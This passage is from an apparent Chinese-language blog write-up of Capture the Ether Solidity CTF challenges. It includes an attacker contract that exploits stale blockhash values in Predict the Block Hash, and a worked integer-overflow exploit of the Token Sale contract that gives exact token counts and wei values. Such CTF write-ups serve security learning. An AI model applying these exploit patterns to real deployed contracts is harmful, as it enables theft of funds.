        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);

        guesser <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
        guess <span class="hljs-operator">=</span> hash;
        settlementBlockNumber <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">+</span> <span class="hljs-number">1</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">settle</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> guesser);
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">></span> settlementBlockNumber);

        <span class="hljs-keyword">bytes32</span> answer <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">blockhash</span>(settlementBlockNumber);

        guesser <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        <span class="hljs-keyword">if</span> (guess <span class="hljs-operator">=</span><span class="hljs-operator">=</span> answer) {
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(2 <span class="hljs-literal">ether</span>);
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">attacker</span> </span>{

    PredictTheBlockHashChallenge target;
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> result;
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> num;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attacker</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        target <span class="hljs-operator">=</span> PredictTheBlockHashChallenge(<span class="hljs-number">0xCF221473d9F6Ae7b95D47710776f5e7733C745F3</span>);
        target.lockInGuess.<span class="hljs-built_in">value</span>(<span class="hljs-number">1</span> <span class="hljs-literal">ether</span>)(<span class="hljs-number">0</span>);
        num <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span>
    }
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exploit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
                    <span class="hljs-keyword">if</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> num <span class="hljs-operator">></span> <span class="hljs-number">256</span>) {
                target.settle();
    }
    }
    <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{

    }
}
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"></h3><h3 id="h-token-sale" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Token Sale</h3><pre data-type="codeBlock" text="pragma solidity ^0.4.21;

contract TokenSaleChallenge {
//题目中定义了一个虚拟代币，通过mapping来追踪地址的代币数额
    mapping(address =&gt; uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;
//和合约同名的构造函数，要求合约的初始余额为1 ether，
    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }
//判断完成的条件要求合约中的余额小于 1 ether
    function isComplete() public view returns (bool) {
        return address(this).balance &lt; 1 ether;
    }
//定义了买入token的方法，买入后更新mapping
    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);
        balanceOf[msg.sender] += numTokens;
    }
//定义了卖出token的方法
    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] &gt;= numTokens);
        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.4.21;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TokenSaleChallenge</span> </span>{
<span class="hljs-comment">//题目中定义了一个虚拟代币，通过mapping来追踪地址的代币数额</span>
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> balanceOf;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">constant</span> PRICE_PER_TOKEN <span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>;
<span class="hljs-comment">//和合约同名的构造函数，要求合约的初始余额为1 ether，</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">TokenSaleChallenge</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _player</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
    }
<span class="hljs-comment">//判断完成的条件要求合约中的余额小于 1 ether</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isComplete</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&#x3C;</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>;
    }
<span class="hljs-comment">//定义了买入token的方法，买入后更新mapping</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">buy</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> numTokens</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> numTokens <span class="hljs-operator">*</span> PRICE_PER_TOKEN);
        balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> numTokens;
    }
<span class="hljs-comment">//定义了卖出token的方法</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sell</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> numTokens</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span><span class="hljs-operator">=</span> numTokens);
        balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> numTokens;
        <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(numTokens <span class="hljs-operator">*</span> PRICE_PER_TOKEN);
    }
}
</code></pre><p>首先分析题目，题目中定义了一个虚拟代币，通过mapping来追踪地址的代币数额，<code>TokenSaleChallenge</code> 是和合约同名的构造函数，要求合约的初始余额为1 ether，当合约中的余额小于1 ether时完成题目。</p><p>由于买入多少币才能卖出多少币，所以如果想要能转出的买入的更多，就要求在买入的时候上溢，恰好这个合约没有safemath，存在溢出漏洞。</p><p>当买入的 token 小于 卖出的token 时可以利用溢出漏洞达到完成条件。</p><p>在<code>buy</code>函数中的的 判断<code>require(msg.value == numTokens * PRICE_PER_TOKEN);</code>，造成溢出需要当<code>msg.value</code>足够小，<code>numTokens</code>足够大，而 <code>PRICE_PER_TOKEN ==1 ether=10^18 wei</code>，所以当<code>numTokens * 10^18 &gt;= 2^256</code>时会上溢出</p><pre data-type="codeBlock" text="// msg.value == numTokens * PRICE_PER_TOKEN
计算刚好造成上溢出的 numToken
//这里不加1的话计算出来的msg.value会非常大无法发送（115792089237316195423570985008687907853269984665640564039457000000000000000000）
numTokens = 2^256/(10^18) + 1 = 115792089237316195423570985008687907853269984665640564039458
msg.value = numTokens * 10^18 % (2^256) = 415992086870360064 wei
"><code><span class="hljs-comment">// msg.value == numTokens * PRICE_PER_TOKEN</span>
计算刚好造成上溢出的 numToken
<span class="hljs-comment">//这里不加1的话计算出来的msg.value会非常大无法发送（115792089237316195423570985008687907853269984665640564039457000000000000000000）</span>
numTokens <span class="hljs-operator">=</span> <span class="hljs-number">2</span><span class="hljs-operator">^</span><span class="hljs-number">256</span><span class="hljs-operator">/</span>(<span class="hljs-number">10</span><span class="hljs-operator">^</span><span class="hljs-number">18</span>) <span class="hljs-operator">+</span> <span class="hljs-number">1</span> <span class="hljs-operator">=</span> <span class="hljs-number">115792089237316195423570985008687907853269984665640564039458</span>
<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span> numTokens <span class="hljs-operator">*</span> <span class="hljs-number">10</span><span class="hljs-operator">^</span><span class="hljs-number">18</span> <span class="hljs-operator">%</span> (<span class="hljs-number">2</span><span class="hljs-operator">^</span><span class="hljs-number">256</span>) <span class="hljs-operator">=</span> <span class="hljs-number">415992086870360064</span> <span class="hljs-literal">wei</span>
</code></pre><p>因为需要以<code>wei</code>为单位发送 ether，所以需要在 Remix 中部署合约，调用<code>buy</code> 函数相当于以较小的<code>msg.value</code>获取到了大量的<code>token</code>,而这些<code>token</code>可以在<code>sell</code>函数中能够以 1 ether 的兑换率被转出， 就相当于以 0.4 ether 充值了相当于 1 ther 的<code>token</code>最后将这些<code>token</code>卖出，合约中的余额就会减少 1 ether，就达成了完成的条件。</p>]]></content:encoded>
            <author>banana69@newsletter.paragraph.com (Banana69)</author>
        </item>
    </channel>
</rss>